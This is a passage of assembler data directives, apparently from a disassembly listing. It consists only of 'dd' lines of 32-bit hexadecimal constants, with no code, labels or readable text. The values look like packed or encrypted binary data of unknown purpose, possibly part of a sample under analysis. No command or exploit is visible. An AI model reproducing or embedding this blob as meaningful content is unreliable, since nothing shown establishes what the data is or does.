		dd 61070C04h, 0A789E60Fh, 0C1118C1Dh, 5E0FAE87h, 43DF0240h
		dd 0FD2842EDh, 0B3EA8853h, 0E44D2B25h, 24345B00h, 8820CB2Ch
		dd 402AC12Bh, 517BE85Fh, 0FC9A86E0h, 91C99730h,	1E950h
		dd 88D1896Bh, 0B477D4BEh, 0E7AA2800h, 0E304754Ah, 0E9F42D10h
		dd 0FC48AF78h, 8BF309DCh, 0D954F13Eh, 24EB18CCh, 7345886h
		dd 4120BD06h, 6077AF3Ah, 0F1054508h, 0F8C244EAh, 55B20CA3h
		dd 362030h, 76B31EDAh, 0F6CDC054h, 9E0226F8h, 13311DB8h
		dd 41B45469h, 2FE8EF2Ch, 780E5C46h, 31C70019h, 7DC4291Dh
		dd 0C303D842h, 725501D3h, 2696883Fh, 30AD5A86h,	8AD5D084h
		dd 7F7A5840h, 3C73F909h, 3BCBFB11h, 245E242Ch, 52E05A06h
		dd 0F1849170h, 121018C6h, 55CA0F3h, 0C6EB3753h,	0AB0B68F4h
		dd 18577FF9h, 3617814h,	0B214473Ch, 3082A31Ah, 494478E7h
		dd 6EE05D60h, 0AAE55E04h, 2CADDA9Fh, 0C543F0D8h, 0E96F2080h
		dd 9AD7A438h, 43D4806Ch, 124CB6F2h, 0F37D79B4h,	0C31E10E4h
		dd 3CADFD39h, 5C917817h, 0F3BDE380h, 7512C2A4h,	24B0FADAh
		dd 0B5958618h, 2CC00074h, 4456E06Ah, 0C1558B25h, 56CAB2F4h
		dd 0D7971724h, 90406E54h, 3FB22DCh, 0BE0E2F3Bh,	0C8CE4E5Bh
		dd 0A3CF52C8h, 0E8A0EA5Eh, 1ABB46Bh, 0E6F5794Dh, 3815FA73h
		dd 8C6EB870h, 3922E101h, 0F6327C9Fh, 7B31B840h,	180CB014h
		dd 513EBD7Ah, 0B774CE61h, 717CF073h, 0E519B661h, 0A8511FFCh
		dd 0BCE413F9h, 0F4E01603h, 0B030A615h, 0FB5C12h, 84CD6038h
		dd 0EEEDCFE1h, 2C95B74Eh, 0DA1C30A3h, 2D6E01A4h, 2915F279h
		dd 1F32AC7Ch, 0A5BDF0EDh, 42DD1462h, 5C585675h,	0AA58CA46h
		dd 0CF772E00h, 1EA4CB3Ch, 0E767B13h, 0D7C78E4h,	63578B70h
		dd 0BC387868h, 16EE8C4Fh, 74E7CC03h, 0BCDFF95h,	0E2BDF9CCh
		dd 973034E4h, 5DC271EFh, 703500DDh, 9B6344F8h, 852F30DBh
		dd 55CFEB1h, 256EBBEEh,	48A2F0h, 1C875997h, 3F1B39Eh, 9B625F8h
		dd 0C7E09BD1h, 29C0F096h, 4A5BB8E3h, 0A0C214F9h, 3C489C14h
		dd 2E8C4AE8h, 76EC8C8Bh, 0B304CB46h, 0C01BBB75h, 8EB04088h
		dd 320BF3ECh, 508F7457h, 26B700E4h, 3FEC9772h, 54BA3D43h
		dd 1074854Ch, 1F04C60Bh, 88FFF148h, 44163D90h, 0D0002FDDh
		dd 68D22772h, 0C9C103D1h, 8859247Eh, 6AFF28A0h,	0DA3031C0h
		dd 2EC42C19h, 2A9C9F6h,	3E4676B8h, 0EC0414DCh, 6488B9EEh
		dd 0C143104Dh, 86F8673Bh, 46074CB1h, 0B263B082h, 94C099AFh
		dd 33354D09h, 4B61850h,	0E33F55E0h, 5C85A25Bh, 0D66BF181h
		dd 1837C460h, 18FAF3B3h, 0E130D309h, 105EA157h,	0DC370199h
		dd 0E78B7B07h, 38036A5Ah, 434980F2h, 0C3A2D8B8h, 635230h
		dd 0F964811Fh, 708938E4h, 0C0A6E324h, 2380FF89h, 3F89460h
		dd 3B78439h, 59DA10B8h,	65790851h, 49007E18h, 0C8A692F2h
		dd 0F8EDEFBBh, 49648F1h, 0BB37806h, 1625805Fh, 9264A280h
		dd 65100239h, 427F8CA2h, 1D906443h, 8101D61Ch, 0D37B3A44h
		dd 40A669FAh, 0E302DE84h, 0DE6F08CAh, 84FCF1D5h, 0C2781E5Fh
		dd 0C0C456ADh, 1FBE7F20h, 564924FDh, 0FA50A575h, 0AC9C38E6h
		dd 0FCA4656h, 0A15C9AFEh, 0AFC11996h, 401F6870h, 7561E166h
		dd 204978B1h, 0AF21AC0h, 7E6BDBCEh, 0D72540D4h,	9B13873Dh
		dd 24CF9DE1h, 21C35E88h, 8CEAE996h, 41FDF830h, 41BBFC31h
		dd 0E013A15Eh, 5CE2DCB3h, 0EF00730h, 0B52232C5h, 0A77005F2h
		dd 1CE0E45Bh, 0B1E5A40h, 0F9840DB3h, 0FE00BCC6h, 8350C815h
		dd 4AB4A1C5h, 0B04085A3h, 9C9E8D9Ch, 0FD9317D6h, 80B8928Eh
		dd 467C7476h, 0A2D8098Dh, 0B714E66Ah, 2C003CB7h, 2B0C445Fh
		dd 0EF8200CBh, 73E17921h, 285C482Fh, 0E6EA003Ch, 164B1D6h
		dd 105313DDh, 4A08234h,	4CD64C5Ch, 0EB10C869h, 17CC3ED1h
		dd 0A83075E0h, 137DA52h, 0A1595002h, 0F2DC1867h, 4F3F5440h
		dd 17C92CB6h, 80C6114Ch, 9AD2285Fh, 0E279001Eh,	8B7A70E3h
		dd 3C806F07h, 6C11B57Eh, 3F8518F0h, 6BA1917Dh, 7D4E3EC0h
		dd 0CCD60315h, 2474B871h, 0DF0738FAh, 0D42C7C62h, 77298774h
		dd 52A7A2F7h, 9580AC5Ch, 2678129Fh, 59E02939h, 18627140h
		dd 0E7A400FAh, 2D4CF90h, 564AD3C2h, 841EE40Fh, 18B68BDCh
		dd 1BF193B0h, 1E44BD12h, 58F748A2h, 905618C0h, 170FF2D1h
		dd 2FF6795h, 57EB8D39h,	6F0EBC82h, 840E0A25h, 220036ABh
		dd 0BEFF2B01h, 49E30111h, 74F754B2h, 18A064B7h,	94C8875Eh
		dd 0D5DD0015h, 81DB223h, 81F052B5h, 54704E02h, 5A76793Bh
		dd 0C3B80164h, 0F218BF71h, 4F783D42h, 0CCC8608Bh, 0E04B9FC0h
		dd 1988A862h, 0D5A73D88h, 0F1DC9980h, 4104A816h, 0B4C0E24Ah
		dd 0EB7E7667h, 8E4E4C3Ch, 0C771C8B4h, 8D787075h, 801260B0h
		dd 0A40279AEh, 0F0FACB39h, 689E0790h, 0C866D49Fh, 3469A005h
		dd 4B1400F0h, 0C4388E65h, 0F3305752h, 0E701951Dh, 0AF374315h
		dd 0C8206942h, 64A09D11h, 9E6E2094h, 4560DD00h,	0FF44CAC3h
		dd 0A201030Dh
		dd 26A6E6D3h, 9C71FEE2h, 0DA18C3F1h, 0AF64A900h, 42F5BB23h
		dd 8BEE02F1h, 502F4E8h,	31706CF9h, 8B7F8666h, 0E4989203h
		dd 0DC9716E9h, 52F1DCF2h, 3370C57h, 238DA49Bh, 0C088380Ah
		dd 9D4BEA60h, 0C023382Fh, 817F450Eh, 3F8E6543h,	0C22C021h
		dd 0B99D1C0h, 6F182C4Ah, 0A7087A13h, 0FB0F00BEh, 5D127D8h
		dd 200C32CFh, 18BC106Bh, 1D330092h, 7EBDECA4h, 31C39514h
		dd 0E1D125B2h, 2848720Bh, 0ECD3899Bh, 0E10F20D1h, 81864CF0h
		dd 0FE04C0FFh, 0A02469E8h, 0CFD64E7h, 72D6BE92h, 7C000F08h
		dd 9FA8C971h, 0CF3B8Eh,	7E01ADFBh, 58B8994Eh, 38912506h
		dd 30FC40h, 4F0BB9C8h, 31F8710Dh, 6EE0ACA3h, 51C96F28h
		dd 0F5F4C05Bh, 0C5919D6h, 8363097Ch, 0FAE23B21h, 1280C421h
		dd 3FF574h, 987362ADh, 0A758DB33h, 349B748h, 0EF44B953h
		dd 88E1402Eh, 23058C80h, 220B96D1h, 40D5B038h, 0BF0CAD2Ah
		dd 58AB09BDh, 132407B9h, 45DD5199h, 0BAD68210h,	755EBCA0h
		dd 3403E12Fh, 3D965094h, 6408184Ch, 7D772010h, 1B7A2F07h
		dd 54E05A0Ch, 5547A4h, 7B9B95FEh, 8A4052B9h, 186A80C3h
		dd 14392B6Fh, 0F0A45134h, 51029BEEh, 0D014FCABh, 7F8491BDh
		dd 0D1082618h, 0C47A0BA3h, 6DD2419Ah, 0AF608FD1h, 0F8500090h
		dd 13922132h, 3E000FA0h, 0FCA8FE0Dh, 0C00B95E9h, 9A2FBE80h
		dd 0C7031E55h, 8EBAB678h, 3D0830B0h, 55A34C21h,	0FC04EEF6h
		dd 5F27390Bh, 2FC81880h, 0F6A6580Dh, 0AF844h, 41F21198h
		dd 684F3859h, 7AF28D2h,	55AA88D0h, 0F03C27E8h, 80C71F55h
		dd 4D38448Ch, 3755A200h, 14F841E9h, 4BC500C8h, 0D8268F1Dh
		dd 7B15B925h, 0B4B46Bh,	7440C45Ah, 3D8506h, 0E771F7F3h
		dd 6B272A52h, 0C740A1DDh, 90C23224h, 0F8AC0394h, 8B8595A5h
		dd 7D748EF8h, 2EA93F01h, 47EE9872h, 8AAF5886h, 80A1413Bh
		dd 8DF1829h, 0EEF575FAh, 0B04064C4h, 3857FAE7h,	720CD1E6h
		dd 0B1B76ADFh, 59A5009Bh, 4DC27E9Ah, 4060891Fh,	85D52078h
		dd 86150A74h, 14817FBh,	67C10FC5h, 0E3C8205Dh, 0ACDABA09h
		dd 61740E9Ah, 69A9E881h, 89D4B840h, 4C7E121Ch, 23A43AECh
		dd 3980019Ah, 4B1C587Dh, 0C7A88820h, 6E560089h,	0A206797Dh
		dd 0B3196A3Bh, 0D3350CF9h, 0BAB8B2ACh, 0E0DEC200h, 3B474180h
		dd 34E806F3h, 20A169C3h, 993FF60Ah, 1E07803Ah, 95611F8Fh
		dd 39F847DDh, 0F080F9BFh, 0B09BD9C6h, 0F30A710Ch, 0C0688AAEh
		dd 9947F683h, 5540063Eh, 58C364DBh, 0B18D1330h,	0BB76CEh
		dd 82CCF184h, 0F0C90CB4h, 5F89B00h, 95F3BCAEh, 489242h
		dd 0AAF67DAFh, 4C7C88Fh, 0B5FF061Ch, 89C240C0h,	0E2CF53Ch
		dd 9BA7E156h, 0DFED0E7Eh, 4D852E00h, 82E5CD3Fh,	94DB5388h
		dd 90140292h, 65675920h, 0C0F3FEC2h, 3E42ED02h,	66177AC6h
		dd 97AC19D5h, 28929609h, 0FAE04030h, 624AC98h, 6264405Ah
		dd 0FAE8B140h, 0B061908h, 7A752764h, 0D6B2418h,	8EAF419Ch
		dd 91318070h, 0E75B1E40h, 7C945053h, 7E700706h,	9066BBF4h
		dd 1B90F08Ah, 39BDF381h, 51B96D9Bh, 0E3FCA9C0h,	0A401F493h
		dd 0A8C72455h, 4E883718h, 0EE5507ADh, 0C4B1E078h, 0C814CBA9h
		dd 2482C032h, 43009B64h, 860B7B4h, 1E496B1Dh, 0D2F1C5C7h
		dd 689C1466h, 0FC8C9FE8h, 89DF3D94h, 0CD787F80h, 0BB350B9Dh
		dd 0E4ADF128h, 9B4EB4Dh, 0A06C6AACh, 0E96935ECh, 15460053h
		dd 2C62C4Dh, 0AD1F289Fh, 6C055BB1h, 749BEC75h, 841F4FC5h
		dd 0F8488734h, 78FADCC0h, 22E646F5h, 0E43D0161h, 0C97229FAh
		dd 80EECB18h, 0B8CCA94Dh, 2ACE0032h, 0E082C0DAh, 8B05310Bh
		dd 0DB38573h, 0C8C914DBh, 0DCEBFB00h, 0EC9052EEh, 5AD7B914h
		dd 34E205DCh, 983A4F0Ch, 6503A623h, 0A45A09B5h,	602718C1h
		dd 55B77987h, 833E30B0h, 3F7AE374h, 794D5A00h, 0DB236421h
		dd 2EE226CCh, 35756118h, 0CFD1CCF1h, 31876200h,	1FFD09DCh
		dd 0F0324879h, 9F761775h, 0A83814E1h, 15C39006h, 0A400418Ah
		dd 12758B82h, 0A4ABC4FAh, 2E446C0h, 0C72355A5h,	103331A0h
		dd 355AE51h, 6D4FBC3Fh,	0CBB86F63h, 0E1170FC8h,	0D84360BFh
		dd 0A6E64FEh, 8CDEFD14h, 27E904A8h, 8194C0B7h, 3CA5A8AAh
		dd 3B603964h, 9307639Eh, 0AB0E2097h, 8571FFF2h,	841E7CACh
		dd 15064411h, 904EDBF1h, 8F17F201h, 0C7656A1Ah,	9AB81BF0h
		dd 339410D8h, 0FC271573h, 139803CCh, 480E4191h,	3DE828B8h
		dd 8796018Ch, 0AE018D72h, 8EA08B6Bh, 62A010B9h,	91C8A0B6h
		dd 0FD9A2638h, 60E5445Ch, 292255A6h, 0C0C498C7h, 6F559F50h
		dd 0FCE35213h, 2B81D907h, 4882C345h, 46386458h,	9620257Dh
		dd 19D4614h, 58BC7560h,	0AE59418h, 762420h, 0B13FF443h
		dd 3D98735Fh, 93FBF119h, 2DF05638h, 0B318C063h,	0D6176AF8h
		dd 48480E4Ah, 2F7AC0ADh, 7C4634DCh, 82F66622h, 253B2F00h
		dd 1EAFEF91h, 94E73045h, 298E0DA1h, 47D47554h, 6E330B00h
		dd 853B5B60h, 3AF30442h, 0C48207D3h, 15B01E04h,	0C6099849h
		dd 4023D7C1h, 0A10DDB6Bh, 31088DF7h, 20230049h,	883066A2h
		dd 855A0067h, 3DCDC74Fh, 28AA8C27h, 66C49C65h, 0CF091561h
		dd 941D91D0h, 0E76E851Ch, 2158F6D5h, 802B91FBh,	0F573FADDh
		dd 65448CDEh, 0FAE5003Eh, 10CBCD55h, 8419C079h,	41513A94h
		dd 395DF6D0h, 970098E2h, 366F8E91h, 9C1E4F5Bh, 71408C95h
		dd 90F4D628h, 0E9960929h, 1440651Fh, 337E8F18h,	4F91C604h
		dd 7492BF81h, 40B8A939h, 44BD17ECh, 6A00F90Ch, 2F1CBF49h
		dd 628BAF96h, 9913A9A7h, 8E6AFCA0h, 46737F74h, 4718E7FCh
		dd 20703BA5h, 6FE11215h, 41780054h, 0CF89B6FCh,	0BB6E6D01h
		dd 70C9FD86h, 444447EAh, 62D06067h, 0DBA049Eh, 81667609h
		dd 252426E4h, 0F78036A8h, 0AE5C9F50h, 420D3EDCh, 216C2618h
		dd 0BD003F51h, 0C8D1E382h, 42583Dh, 0C33B1361h,	211EF94h
		dd 0C0A0C8C8h, 34DF2F73h, 6822A446h, 2F7B7900h,	0F5AFEB81h
		dd 0A039F017h, 0A19A9Ch, 0E1D3B9BBh, 0F708918Ah, 290F5412h
		dd 44041482h, 0F00E0A30h, 31D8AD63h, 83672614h,	0C27254B1h
		dd 0A0F39893h, 2A550224h, 0FBB8471Ah, 0FCE0C8A0h, 4967026h
		dd 0FF7F39DCh, 0F2664B05h, 0A8E8001Dh, 6AAE71F6h, 9201A09Ah
		dd 584F0E7Ah, 0E0C8B72Bh, 89C7A024h, 5E349C9Bh,	0E8003946h
		dd 76D4AD1h, 0D0AB21Eh,	0FC487E01h, 0C824680Ch,	21048C7Ah
		dd 120B98D1h, 0D7C094F2h, 0FE63D128h, 959DAB00h, 158B55BFh
		dd 7DCB88Ch, 79FFE2EEh,	0C181EFDEh, 26279296h, 0FAE11D28h
		dd 9CFEF5C9h, 0E9B2003Ch, 4BB55DFAh, 3312F157h,	0D4CDDE9Ch
		dd 0E0EAC09Dh, 0EBE11412h, 46C854C6h, 0D1240281h, 0E72A0BA5h
		dd 2BD40164h, 296B02D1h, 1B472630h, 5E363200h, 1C8FE261h
		dd 4096314Ch, 0A07AAD81h, 40B1FBDEh, 6B189AD1h,	31E90801h
		dd 0AA0D7894h, 0EBACC829h, 0C42A290Bh, 919280A1h, 0FBAD677h
		dd 0AC89A9A7h, 186A2F09h, 180395C0h, 8504C93Bh,	797E451Dh
		dd 170B90A0h, 483F85E9h, 0B68174DCh, 0CAF5D68Ah, 7E2565D4h
		dd 37792E4Dh, 0C145803Ch, 1F53C5Ah, 0A92A660Fh,	6BE199C6h
		dd 76004439h, 0D2EDA483h, 0A701542Dh, 55E79D25h, 44628AAEh
		dd 39911418h, 0B50F5013h, 408D8CF1h, 478188A7h,	0DFF30054h
		dd 0B96ABCEAh, 61F4E00Eh, 0C62CC0BAh, 467464F0h, 25C00062h
		dd 0BA4005F2h, 0C9170480h, 82A6ADFFh, 8132E2A8h, 0B0C72598h
		dd 8836C458h, 5539AC4Fh
		dd 0C17107C9h, 40B0C2F5h, 91A3EE89h, 18A7D140h,	525D2E1Fh
		dd 680A0F30h, 0DB330490h, 0A88294ECh, 618C4C4h,	71C334F2h
		dd 7C1F188Eh, 0C9C9BA63h, 0DF24A0C5h, 0C2BD915Ch, 96E8D340h
		dd 71800209h, 8364E060h, 186A11F7h, 0DB35069Ch,	7A288AE4h
		dd 0A57391h, 20CCF822h,	0AFC888Eh, 0DC166A3Ch, 8C65FC7Ch
		dd 401690Fh, 323CEBCCh,	79D0D16Ch, 15F189Ah, 0CAA364A1h
		dd 684E01ADh, 6B780988h, 0AF441010h, 80A0B490h,	83F577B9h
		dd 4EFDAD4Fh, 0C03B88F8h, 0E3C02BF0h, 18B86469h, 51416D4h
		dd 0D3DEF6A9h, 74E4C0FEh, 8494C639h, 12FC6742h,	3D11F897h
		dd 66058582h, 0BD09B046h, 0E08B21BAh, 483252E4h, 3D74B01Dh
		dd 0C70391F8h, 5F77F107h, 8861A804h, 98C24EBEh,	0BCC82296h
		dd 6870A053h, 2A54078Ah, 1B976046h, 0B290EC47h,	28C61FCh
		dd 0BF28B7BAh, 68D0218Dh, 0C06D48C8h, 0F579FADBh, 42CCE4Ah
		dd 0FAE33B3Ch, 62AE8580h, 0BF1E87C9h, 5120DD35h, 58C85CCBh
		dd 0A890CCC3h, 0B4A6AAFh, 1D02AE3Dh, 0F0811066h, 99818E7h
		dd 88C72055h, 4A80D0E5h, 0AD255A1h, 35760271h, 0BB07F167h
		dd 202264C1h, 48CA1B4h,	34E02F76h, 2069629Ch, 612F7E78h
		dd 1570380Ah, 9E80DC8Bh, 5D34FC3Bh, 0F9430F3Ch,	0E08E1D95h
		dd 0B30CB4C4h, 31A6A2A4h, 8597F0F7h, 83FD5300h,	0A67346D5h
		dd 3927C89h, 91E4D0A8h,	0E9021137h, 0AE80E76Dh,	17705AC3h
		dd 53FD3FF4h, 55001D8h,	84443291h, 5FE9C631h, 15B5A4A0h
		dd 0B06C3601h, 33F2DC52h, 952CAF30h, 36E5E080h,	691FA844h
		dd 6030EFF1h, 36DC713h,	6FAEF660h, 0E900A414h, 38AA5924h
		dd 0FFD4F3Fh, 11EC6351h, 0C9500763h, 0FAC47089h, 0E000D4D1h
		dd 47FD1932h, 0D83060E9h, 0C5BFD61Dh, 10413725h, 5E8DF8h
		dd 0CDCB1681h, 5947E6E9h, 2F334040h, 0C379A18h,	0AFFD2E01h
		dd 446C7326h, 5FE8B858h, 0F0BB718Ch, 532F010Ah,	6ACF327Eh
		dd 70406D0Dh, 48CDC302h, 8770292Ah, 20196B7Ch, 5AEBF340h
		dd 0A1350B65h, 4D0444BAh, 0DF23805Ch, 24051CA0h, 0D17E99Fh
		dd 0E8E228D5h, 303063F2h, 0BAE405DEh, 81FE4588h, 504694ECh
		dd 0D0E520F8h, 0CD858A04h, 90B1E64Dh, 67BC2C28h, 20C81E8Ch
		dd 89C665Ch, 4028704Ah,	9E44D087h, 5655E960h, 7F34F603h
		dd 4E68AC8Ah, 238C2F48h, 0C3F3023Bh, 88E833C1h,	3513390Fh
		dd 0EC038CF8h, 1D5E23B9h, 12FE1518h, 23042F95h,	0DE750063h
		dd 0EC655521h, 0DF6B4100h, 706EA104h, 6DE41EACh, 18C38076h
		dd 23D184D9h, 0F42BCB0h, 0B10C9519h, 0A8FF4039h, 0F30DC290h
		dd 0F80DC92Dh, 657FA88Bh, 9C470092h, 0D0673944h, 5B2198B7h
		dd 0C4AD4C26h, 145A263Dh, 138467Ch, 0E2E70ED3h,	75FC17DEh
		dd 12F5E81Dh, 4435A127h, 897D45E8h, 0CB00687Ch,	60F84DA9h
		dd 6E965DA1h, 0E1182400h, 0E71BFF91h, 0FBBE2582h, 65917017h
		dd 0DF287080h, 5704DA23h, 14D2BB1Bh, 127E64A8h,	0E0652517h
		dd 7C20D310h, 3FF613ABh, 95C445A5h, 8418B361h, 0C602F969h
		dd 0DCAF9BB9h, 5BFE0182h, 0B8FFB884h, 0F1440984h, 0E53062D4h
		dd 609BE484h, 1713059h,	0BD20C7A6h, 868E298Ah, 662D1FA9h
		dd 0B3553FC0h, 0F408AC20h, 27314927h, 0F067DC9Ah, 0C9606044h
		dd 0C01E0D48h, 858E2643h, 0B1021B5Fh, 0DAD198Ch, 0EB82A0DDh
		dd 7C77996h, 0DF9BF7A6h, 64FD0041h, 2C00D84Fh, 479FE06Dh
		dd 5A85298Eh, 4842FB95h, 110AFB36h, 9D091010h, 0E9024059h
		dd 50174B60h, 14F1BF0Fh, 1D85C75Fh, 0F54C0128h,	0F78B22C2h
		dd 47D59F5h, 102B61B5h,	0B7229C1Dh, 0D60074h, 135C2CB9h
		dd 2E519D8Dh, 2FFA075Bh, 5142357h, 14E85205h, 5707F50Ah
		dd 30701B40h, 7E4537Ah,	0F7BDD400h, 425D04D8h, 0BEC05AC4h
		dd 0FE9CB740h, 714FBD1Ch, 23811E5Fh, 3C7379FFh,	18209529h
		dd 0DB8C6616h, 8875CBAFh, 89A1C014h, 0C67359Dh,	495F64Ah
		dd 5D62D80Bh, 18648B47h, 8C353660h, 0BFE07701h,	46568006h
		dd 1F496D4h, 95FF6E85h,	0FA0729EDh, 33925BB5h, 0F18E041Ch
		dd 89FAA050h, 520F2404h, 0B04FE8Fh, 971FDDBDh, 0B0614C34h
		dd 13286EDEh, 5BC8AA00h, 5F4DE441h, 0EF705BE6h,	3103716Bh
		dd 7A67A03Dh, 29133C80h, 19E1D0A0h, 25D88981h, 0E40CC521h
		dd 35B6AE71h, 17526CB0h, 0C7B63D00h, 8D898B9Dh,	560D67FDh
		dd 3FD8B70Fh, 180333Bh,	2C657195h, 7816BA1Eh, 0C0F39AEAh
		dd 0B31F8315h, 7640121Ch, 8BD64F45h, 5C004B2h, 0E8C1040Bh
		dd 37CA1E87h, 0DD54FF3Ah, 0F73166F4h, 222D12E2h, 0E1853100h
		dd 2B0C0F62h, 0E059D7D8h, 9B50306h, 81660259h, 937C56EEh
		dd 0EC9E7AD7h, 37960F31h, 0E28011D5h, 0CD1C2EACh, 9A23B503h
		dd 0F9A17998h, 13205350h, 0FF933F5Eh, 5420D51Ah, 42694185h
		dd 498D019Eh, 0C2B04969h, 0D9070342h, 844CE819h, 67C400DFh
		dd 830F613Ch, 7AE101F6h, 0BBCBBA9h, 4C16DB73h, 90BF75AAh
		dd 8C175B7Ch, 2C8AD900h, 1CFBE3C7h, 8B661508h, 1E56F2F3h
		dd 395FA1F0h, 2D05F573h, 0BAF9CA08h, 2E65D361h,	16F06507h
		dd 0C29ABAECh, 3650CDC0h, 0E83060ADh, 79451B0Ch, 786D0B54h
		dd 0E87FD097h, 676160A9h, 50FBDA58h, 2F55BD23h,	60872491h
		dd 24298D31h, 2094611Fh, 27C1E89Bh, 21EF949Ah, 91BDC833h
		dd 58560165h, 1723DF3Ah, 0F6348000h, 248D09D7h,	626119CDh
		dd 0DF2EEA88h, 0B7F82BA8h, 7B9F718h, 0E0C18311h, 0A9F000BEh
		dd 0D93B4EA5h, 0CC5A860Fh, 23813BEEh, 4F830F1Dh, 0CFB739A3h
		dd 0A1A4F6B8h, 0F0EFC58h, 29F28BD9h, 70EEA4C1h,	0B09E946h
		dd 9C219E00h, 78D7A199h, 0D2C24D01h, 895BF880h,	30655D85h
		dd 0A4AEC3EDh, 0C70EFCE0h, 54F633h, 8BAAA216h, 5FB70149h
		dd 343D587Fh, 86835108h, 5535AF33h, 0C250A699h,	0C560A64Fh
		dd 526D5FAh, 0FF178A7h,	6B16CD80h, 1B846E9h, 5DD7AC0Ch
		dd 0F1E5AAE3h, 968D1C05h, 789AFED8h, 1F18AC0h, 0FE2E3739h
		dd 19095705h, 0E585AF26h, 74C71FCFh, 207FAD28h,	1AAA4BA7h
		dd 0DA2F038Ah, 5DE39123h, 6BEEDA5Bh, 60050189h,	0FE6E1634h
		dd 3730EC4h, 1E24C681h,	0BDB22768h, 0D0739264h,	0C23CBFB9h
		dd 0A75B509h, 1694A2AFh, 0F3000753h, 0DD3B2E6h,	3A001628h
		dd 0CABB3872h, 9B8E909Dh, 0BF6602C2h, 0C66CCD9Fh, 18D15099h
		dd 0D5FEA118h, 0D4C71026h, 478F702h, 0BBD3DF90h, 0C827158h
		dd 0A5FED7F7h, 0F41A1EEh, 400D9360h, 0BDFA6003h, 0DDB5956Eh
		dd 62B287Fh, 4C22E920h,	1BE85761h, 57F3008Ch, 0CD7B983Ch
		dd 0F99BBD2Ah, 4CCB878h, 8FF90F93h, 0F85C82BCh,	1325E240h
		dd 4B0BC5D2h, 557503C7h, 9B34830h, 8B586DC0h, 8500D627h
		dd 1C6ED0Bh, 8202E1B5h,	2A005966h, 62B17468h, 14325BC3h
		dd 9D9F8908h, 0AE2E5D17h, 0F27968Ch, 1164CF02h,	0B7C0C120h
		dd 346E241Ch, 6D2E1A99h, 41B0E03Dh, 0BB982173h,	0A1510844h
		dd 0DA5001D3h, 3804E95Eh, 0FADAFFF9h, 1D23032Eh, 22B71600h
		dd 2FFF2h, 8AFB2137h, 1B89BD33h, 8D121192h, 6E232C6Dh
		dd 4EBB84Fh, 12AFF8DFh,	80E1E964h, 0A9BCCECh, 0A2CE7500h
		dd 99C76E03h, 0C26901FEh, 0BE65FA93h, 0CA08808Bh, 31C4F7B2h
		dd 0C8F5009Ch, 0BFF1982Dh, 0E8008F24h, 0BB881DB8h, 7EEE5F4Dh
		dd 394303EDh, 0FC2C5022h, 84344E00h, 0A3F22596h, 9D700049h
		dd 0E67FB2B3h, 771EA750h, 840039E0h, 8A942E9h, 0AC470079h
		dd 0E414BBC2h, 2300AA51h
		dd 26AD54F3h, 0B45BFAh,	0C168FB2Dh, 0C86F0E3Ah,	0D05E1700h
		dd 2BF58854h, 30CD7DFDh, 86ACFBA4h, 0FC0F03EDh,	40902355h
		dd 35C72254h, 0CE99007Ah, 0F89F401Ah, 0A9004471h, 0AE497B02h
		dd 508007h, 0B74A0EB5h,	0F13AAD69h, 0C7F92700h,	0C0F0972Ch
		dd 0E68F0025h, 64901FB6h, 399022C9h, 4FF8860Eh,	0F9C8921h
		dd 10F43A20h, 5C156185h, 0BF007427h, 35D0FE8Dh,	2438DD8Eh
		dd 0D62F801Ah, 0C44F8648h, 791900AEh, 1D07A2D0h, 2927229h
		dd 0F6268D50h, 6FA98B54h, 0C6081606h, 4C38C00Fh, 0F580DACDh
		dd 5413F472h, 76BC3E03h, 802CC08Ch, 3F26CF65h, 180097F6h
		dd 36FDB33h, 5F0E7862h,	80FA28D1h, 0AD487475h, 867F5006h
		dd 816F0C1Fh, 5B742C10h, 34A59318h, 0AC7F0Fh, 4408210Bh
		dd 8DB967B1h, 0B35CF200h, 0F7FEE887h, 6EA00049h, 73A52CD3h
		dd 0D6003FE0h, 0EC5F6CEFh, 503A6Dh, 0F3881F4Fh,	7AF92C81h
		dd 8AF4E00h, 0A027CE6Fh, 32D93F74h, 0D07EC803h,	0C1E8049Dh
		dd 5F008F3Eh, 6109B50Fh, 0AA3D2h, 0DFE0CA63h, 0EA7118AFh
		dd 7A21BC00h, 0A92FF9DCh, 25317D3Ch, 52A69E19h,	27A07002h
		dd 58028A33h, 937D16BDh, 5EEBA392h, 0A0D3C0CBh,	0EC6F0305h
		dd 3419BA39h, 0BE41E9B2h, 0D5814071h, 77016102h, 696C970h
		dd 1B82A718h, 0D77E1FF2h, 0E8E98190h, 7920B900h, 0A82EF8DBh
		dd 943F603Dh, 15B0E28Bh, 0EBD56E06h, 0A387F7h, 0B243761Fh
		dd 0B3E3720Bh, 0D46D1406h, 0BA1EEAh, 1CEE3CA0h,	3EDF4C37h
		dd 0DE109701h, 0E7159C43h, 121EA5E8h, 0AC53F2h,	1FB85FC1h
		dd 0A2006CA7h, 0DD71699Ah, 3F0CAB82h, 6E01F36Bh, 5FF48DC0h
		dd 0BE1524EDh, 92803009h, 6C372021h, 3069AF99h,	3F10F1FBh
		dd 0D218790Ch, 26E8194Bh, 0A63F86Dh, 0F6EF7278h, 9DC31FAAh
		dd 94354023h, 1738F72Bh, 44D22D00h, 98FD2AD3h, 7E7BB0A3h
		dd 70B55069h, 29442891h, 40964F8Dh, 0FE2CFAC2h,	3500BC63h
		dd 60CB7205h, 1F180917h, 80A5406Fh, 4C7A7B65h, 53001CB1h
		dd 4F3DD3CBh, 12A309D5h, 412FF047h, 0E18829A0h,	44B5EC53h
		dd 439CD916h, 0D1D25200h, 7006A1h, 0C3EAE3EDh, 0C1AB7F63h
		dd 8013BA3Ch, 66D19D44h, 439BFDh, 8AB482BDh, 49FCD5Ah
		dd 1D186374h, 921BE2Fh,	454C0036h, 30D76E9Eh, 0DE0F79A9h
		dd 0E1CD8637h, 7D12A5D5h, 0CE10C725h, 6C3FB6h, 9CE772AFh
		dd 197C59B2h, 925EF4F7h, 25C284A8h, 16877515h, 8E6100CAh
		dd 1F981A4h, 4050DD6Bh,	0C79A47A2h, 0E9589220h,	0DC750672h
		dd 3F81B4Dh, 2D5D5E48h,	2EA8059Ah, 4328B4A2h, 8E0083E9h
		dd 0E34652BBh, 601E7AB2h, 0A7D724A6h, 0BC302D1Bh, 3407268Eh
		dd 0FCFD4D93h, 3B418D3Dh, 0ADDC6581h, 0F1DFE340h, 0CB31C180h
		dd 603769F8h, 0D6A06E22h, 4EF446D9h, 0E2832201h, 78A67029h
		dd 183A30h, 0F48FC16Ah,	71CAB44Dh, 82246428h, 407B7638h
		dd 830A02DAh, 0EA0BF98Fh, 0DE8784A0h, 9CB04EAFh, 0D11FA406h
		dd 1256F7h, 0FF63CF03h,	4EE8F34h, 436F0A00h, 0D42223F6h
